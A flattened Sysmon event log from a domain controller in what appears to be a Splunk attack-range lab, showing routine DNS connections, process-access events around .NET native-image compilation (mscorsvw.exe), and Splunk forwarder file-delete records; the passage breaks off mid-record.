14:44:51.508{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55592- 354300x800000000000000044572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.507{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local52985-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domain 10341000x800000000000000044571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.937{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9C09-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.917{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=33FC316AA2D791E32FF889ADAAA1544F,SHA256=82B5B346F2CABE94FB12F4B313A4AB28835C1941A59794C8C09F3FF870846CF9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.917{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9C09-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.917{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9C09-00000000F001}1940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.876{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9B09-00000000F001}6444C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.866{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9B09-00000000F001}6444C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.866{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9B09-00000000F001}6444C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.776{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9A09-00000000F001}6668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.756{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9A09-00000000F001}6668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.756{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9A09-00000000F001}6668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.695{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9909-00000000F001}7096C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.676{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9909-00000000F001}7096C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.676{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9909-00000000F001}7096C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.615{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9809-00000000F001}2816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.605{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9809-00000000F001}2816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.605{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9809-00000000F001}2816C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.585{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.455{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9709-00000000F001}976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.445{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9709-00000000F001}976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.445{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9709-00000000F001}976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6304FE27CBA1F45378B304D9F3B4BDF9,SHA256=8D6B225EEA937890823D91BDB81CC89A8D0E9EF57BF9BE54616D9D1E752C3B5B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.435{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=718DFEA1F28E810D979ADDA6E3E07D62,SHA256=0539721942B605D5F64890AD82C5D6DB410F20E67D553159BAAAA0180256727B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.364{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9609-00000000F001}1172C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.344{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9609-00000000F001}1172C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.344{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9609-00000000F001}1172C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.